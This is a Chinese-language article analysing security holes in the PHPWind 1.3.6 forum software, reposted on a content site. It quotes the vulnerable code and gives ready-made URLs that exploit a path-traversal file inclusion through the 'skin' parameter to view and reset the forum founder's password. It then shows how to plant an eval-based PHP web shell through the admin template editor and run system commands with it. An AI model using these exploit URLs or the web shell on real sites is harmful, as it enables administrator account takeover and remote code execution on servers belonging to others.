分享
 
 
 

PHPWIND1.3.6论坛漏洞分析

王朝php·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

PHPWIND 论坛是一款流行的PHP 论坛,界面美观,功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格,它和 DISCUZ 都非常相似,具体原因我想也就不用说了,毕竟 DISCUZ 出来比它要早很多。但安全上它没有继承 DISCUZ 的优点, DISCUZ 论坛安全性非常好,而且商家也对此非常重视安全问题,国内论坛中不论从功能还是安全 , 第一非DISCUZ 莫属。PHPWIND 虽然代码严谨,逻辑清楚,但还是有一些漏洞,而且还相当严重。

一 skin 变量未过滤导致管理员密码更改

废话少说,我们来分析漏洞。漏洞代码如下 (header.php) :

!function_exists('readover') && exit('Forbidden');

if (!$skin) $skin=$db_defaultstyle;

if(file_exists(R_P."data/style/$skin.php")){

include_once(R_P."data/style/$skin.php");

}else{

include_once(R_P."data/style/wind.php");

}

$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';

if($groupid=='guest' && $db_regpopup=='1'){

$head_pop='head_pop';

} else{

$head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';

}

require_once(PrintEot('css'));

require_once(PrintEot('header'));

?>

其中 $skin 变量是我们提交的,在运行到这里之前,只有一个地方处理过 $skin 变量:

$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];

语句判断 COOKIE 中是否已经包含 skinco 的信息,如果有了,就取得 COOKIE 中的值,这是处理个人页面风格用的。但如果我们的 COOKIE 中没有这个值 , 那么我们提交的 skin 变量就会一点不变的传到上面的漏洞代码。有人问,如果系统关了 register_globals 会怎么样,关了也没关系。

if(!ini_get('register_globals') || !get_magic_quotes_gpc()){

@extract($_POST,EXTR_SKIP);

@extract($_GET,EXTR_SKIP);

@extract($_COOKIE,EXTR_SKIP);

@extract($_FILES,EXTR_SKIP);

}

系统在 global.php 中又给释放了。所以我们不管是用 GET 方法或者 POST 方法都可以把构造好的 SKIN 变量传给程序。那传给程序有什么用呢?这是重点!

我们看这段代码:

if(file_exists(R_P."data/style/$skin.php")){

include_once(R_P."data/style/$skin.php");

}…

含义是如果( R_P.”data/style/$skin.php” )文件存在就把它包含进来,我也不分析有几种用法了,我直接给出我最简单危害最大的利用方法。

我们把 skin 的值设为 ”../../admin/manager” ,那就变成了 R_P.”data/style/../../admin/manager.php”, 很显然,这是论坛管理用户的一个程序,存在而且可执行。这个程序是专门用来修改 sql_config.php 的,这里面都是重要数据,包括论坛创始人的用户名和密码。我们只要构造好就可以改它的密码,直接登陆后台管理。在改之前我们可以先查看创始人的用户名。

我给出查看的方法,大家可以比对论坛程序自己分析一下,我就不在赘述了。

http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin

图 1

screen.width-333)this.width=screen.width-333" border=0 twffan="done"

上面是我机子上的截图,其中 tplpath 变量非常重要,必须是 admin ,它是一个 template 路径,参数不对就不会显示了。

好我们看了知道了用户名,就可以改它的密码了。

http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go

上面的几个参数的含义大家一看就明白,那个 username 必须添上面看到的用户名,密码自己设,至于为什么要按上面的方法构造,其实很简单 manager.php 需要哪些变量我们就提交哪些变量,不需要的我们不管。上面的变量是它所需要的,所以我们就提交这些变量,注意上面的 action 必须有值。提交后系统什么都不显示,没关系,我们再用第一次的方法就会发现两次密码不一样,证明我们改成功了。如图 2 所示:

screen.width-333)this.width=screen.width-333" border=0 twffan="done"

密码改了,我们就可以从管理页面登陆了。

http://localhost/phpwind/admin.php

screen.width-333)this.width=screen.width-333" border=0 twffan="done"

二 后台利用 上传 SHELL

本来改了管理员密码已经能控制论坛了,但我我觉得不传 SHELL 总觉得事情只做了一半。如何上传 SHELL ,这就要用到后台的功能了。 PHPWIND 不知是想给管理员非常大的权限还是认为没有人有能力进入后台,后台的权利真是大的惊人。其实我们不靠上面的方法,用跨站手段得到管理员密码也不难,不知写论坛的人是怎么想的。

好,我就随便拣一处危害比较大的地方给大家分析一下,分析一下风格模板设置那个地方。

点一下左边的连接,右边会显示 /template/wind/css.htm 。

系统提供的功能简化理解就是可以任意编辑这个 CSS 文件,为论坛的界面做个性化设置,而且论坛运行的时候会 include 这个 css 文件,虽然它的扩展名是 .htm ,但是照样会和其他 PHP 文件一样运行。如果我们能象这个 css.htm 文件写一些 PHP 代码,就相当于我们写一个 SHELL ,是不是很简单。篇幅有限,我直接给出利用方法。把那个右边的 textarea 里面的换成下面的,然后点提交就行了。

eval($_GET[myphpcode]);

?>

大家最好按上面的构造,当然也可以自己构造,不过上面的方法我做过实验,成功率很高。

保存之后,用下面的方法就可以利用了。

http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;

运行后如图 4

screen.width-333)this.width=screen.width-333" border=0 twffan="done"

可以运行其它PHP语句,在此不在赘述。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有